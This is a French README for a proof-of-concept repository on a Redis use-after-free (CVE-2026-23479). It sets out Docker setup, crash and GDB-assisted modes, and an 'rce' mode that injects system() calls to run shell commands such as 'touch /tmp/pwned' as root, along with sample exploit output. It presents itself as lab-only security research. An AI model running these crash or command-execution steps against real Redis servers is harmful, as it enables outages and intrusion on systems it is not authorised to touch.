
Preuve de concept avec exploitation assistée par GDB (usage éducatif / laboratoire uniquement)
Use-After-Free dans
unblockClientOnKey()de Redis conduisant à une exécution de code à distance
Preuve de concept avec exploitation assistée par GDB (usage pédagogique / laboratoire uniquement)
CVE-2026-23479 est une vulnérabilité critique de type Use‑After‑Free (UAF) dans les versions 7.2.0 à 8.6.2 de Redis.
Le bug se situe dans unblockClientOnKey(), qui appelle processCommandAndResetClient() sans vérifier sa valeur de retour.
Si le client est libéré pendant cet appel (par exemple à cause d'une éviction), l'appelant continue d'opérer sur un pointeur pendant → UAF.
Un attaquant capable de façonner le tas après la libération peut parvenir à une exécution de code arbitraire.
Ce dépôt fournit un PoC assisté par GDB qui :
freeClient())system() au même point⚠️ Important : il ne s'agit pas d'un exploit armé. GDB est utilisé dans un conteneur Docker privilégié pour simuler ce qu'un véritable attaquant pourrait accomplir après avoir réussi à exploiter l'UAF.
À utiliser uniquement dans votre propre laboratoire ou sur des systèmes pour lesquels vous avez l'autorisation explicite de tester.
crash, gdb, rce, full--containerXREAD BLOCK fait attendre le client pour des données de flux.pid 1) dans le conteneur.processCommandAndResetClient – la fonction appelée lorsque le client bloqué est retraité.XADD sur le même flux réveille la victime.gdb : appelle freeClient($rdi) → provoque délibérément un SIGSEGV → prouve l'UAF.rce : appelle system("votre commande") → exécute des commandes shell arbitraires en tant qu'utilisateur Redis (root par défaut).Le point d'arrêt se déclenche à chaque fois qu'un client bloqué est débloqué, montrant que le même chemin de code qui contient l'UAF permet également l'exécution de code.
| Branche | Plage vulnérable |
|---|---|
| 7.2 | 7.2.0 – 7.2.13 |
| 7.4 | 7.4.0 – 7.4.8 |
| 8.2 | 8.2.0 – 8.2.5 |
| 8.4 | 8.4.0 – 8.4.2 |
Le script analyse automatiquement la version de Redis et indique si elle est vulnérable.
apt (par exemple l'image officielle redis:8.6.2)--privileged (requis pour ptrace)git clone https://github.com/YOUR_USERNAME/CVE-2026-23479-PoC.git
cd CVE-2026-23479-PoC
docker run -d --name redis-vuln-local --privileged -p 6379:6379 \
redis:8.6.2 redis-server --protected-mode no
docker exec -u root redis-vuln-local bash -c "
apt-get update && apt-get install -y gdb binutils procps
"
docker exec redis-vuln-local gdb --version
redis-cli -h 127.0.0.1 -p 6379 ping # doit retourner PONG
python3 redisexp.py <target> -p <port> -m <mode> --container <name> [--cmd "command"]
Remarque : toutes les commandes sont exécutées depuis la machine hôte, pas à l'intérieur du conteneur Docker.
python3 redisexp.py 127.0.0.1 -p 6379 -m gdb --container redis-vuln-local
[+] Victim blocked on XREAD
[+] GDB script deployed
[*] Triggering unblock via XADD...
[+] SIGSEGV in processCommand after freeClient()
[+] This confirms the UAF code path in unblockClientOnKey()
Redis va planter après l'erreur de segmentation.
Redémarrez le conteneur :
docker start redis-vuln-local
Redémarrez Redis pour garantir un état propre :
docker restart redis-vuln-local
Exécutez l'exploit :
python3 redisexp.py 127.0.0.1 -p 6379 -m rce \
--cmd "touch /tmp/pwned" \
--container redis-vuln-local
Vérifiez le fichier de preuve :
docker exec redis-vuln-local ls -l /tmp/pwned
En cas de succès, le fichier existera, prouvant que :
system("touch /tmp/pwned");
a été exécuté dans le conteneur Redis.
python3 redisexp.py 127.0.0.1 -p 6379 -m crash --container redis-vuln-local
Si Redis se termine de manière inattendue (le conteneur n'est plus en cours d'exécution), l'UAF a probablement été déclenché.
Redémarrez-le avec :
docker start redis-vuln-local
python3 redisexp.py 127.0.0.1 -p 6379 -m full --container redis-vuln-local
Ce mode :
============================================================
CVE-2026-23479 Redis UAF Exploit PoC
============================================================
[*] Target: 127.0.0.1:6379
[*] Version: 8.6.2
[+] VULNERABLE
[*] Method: RCE via UAF code path injection
Exploits CVE-2026-23479 UAF in unblockClientOnKey()
Breakpoint on processCommandAndResetClient -> system()
Command: touch /tmp/pwned
[+] Victim blocked on XREAD
Successfully copied 2.05kB to redis-vuln-local:/tmp/cve_rce.gdb
[+] GDB RCE script deployed
[+] GDB attached, breakpoint active
[*] Triggering unblock via XADD...
[*] Checking for RCE evidence in /tmp/pwned...
[+] RCE CONFIRMED! Proof file /tmp/pwned created.
[+] Redis alive after exploit
============================================================
Results
============================================================
Target: 127.0.0.1:6379
Version: 8.6.2
Vulnerable: YES
RCE: CONFIRMED (arbitrary command execution)
============================================================
Le PoC d'origine était codé en dur pour un conteneur nommé env-redis-vuln-1 et contenait plusieurs problèmes lors de l'exécution avec les versions récentes de Python.
La version mise à jour apporte les améliorations suivantes :
docker stop redis-vuln-local
docker rm redis-vuln-local
Cet outil est destiné uniquement à des fins éducatives, à la recherche en sécurité autorisée et aux tests de systèmes que vous possédez ou pour lesquels vous avez l'autorisation explicite d'évaluer.
L'auteur n'approuve ni n'encourage toute utilisation non autorisée ou malveillante.
Obtenez toujours une autorisation appropriée avant de tester tout système de production ou de tiers.
Fait avec ❤️ pour la communauté de la sécurité.
Restez éthique. Restez en sécurité.
| 8.6 |
| 8.6.0 – 8.6.2 |
| Mode | Description |
|---|
crash | Tente de déclencher l'UAF via la pression mémoire (pas besoin de GDB). Redis peut planter, sans garantie. |
gdb | Attache GDB et appelle freeClient() au point d'arrêt → force un SIGSEGV (prouve l'UAF). |
rce | Attache GDB et appelle system(cmd) au point d'arrêt → exécute une commande shell dans le conteneur. |
full | Exécute crash d'abord ; si Redis ne plante pas, bascule sur gdb. |
| Argument | Défaut | Description |
|---|
target | (requis) | Adresse IP du serveur Redis |
-p, --port | 6379 | Port Redis |
-m, --mode | full | L'un des modes crash, gdb, rce, full |
--container | env-redis-vuln-1 | Nom du conteneur Docker |
--cmd | id > /tmp/pwned_by_cve | Commande à exécuter en mode rce |
| Problème | Correction |
|---|
| Nom de conteneur codé en dur | Ajout de l'argument --container et propagation dans toutes les fonctions. |
Commande file placée dans le bloc commands du script GDB | Déplacé file /usr/local/bin/redis-server avant attach pour que GDB charge correctement les symboles. |
subprocess.run() utilisé avec à la fois capture_output=True et stderr=... | Remplacé par stdout=subprocess.DEVNULL et stderr=subprocess.DEVNULL. |
Processus GDB obsolètes provoquant ptrace: Operation not permitted | Ajout de pkill -9 gdb avant le lancement de GDB dans trigger_uaf_gdb() et trigger_rce(). |
| Aucun retour quand GDB échouait silencieusement | Ajout de journaux de débogage pour la sortie de GDB et amélioration de la détection du fichier de preuve. |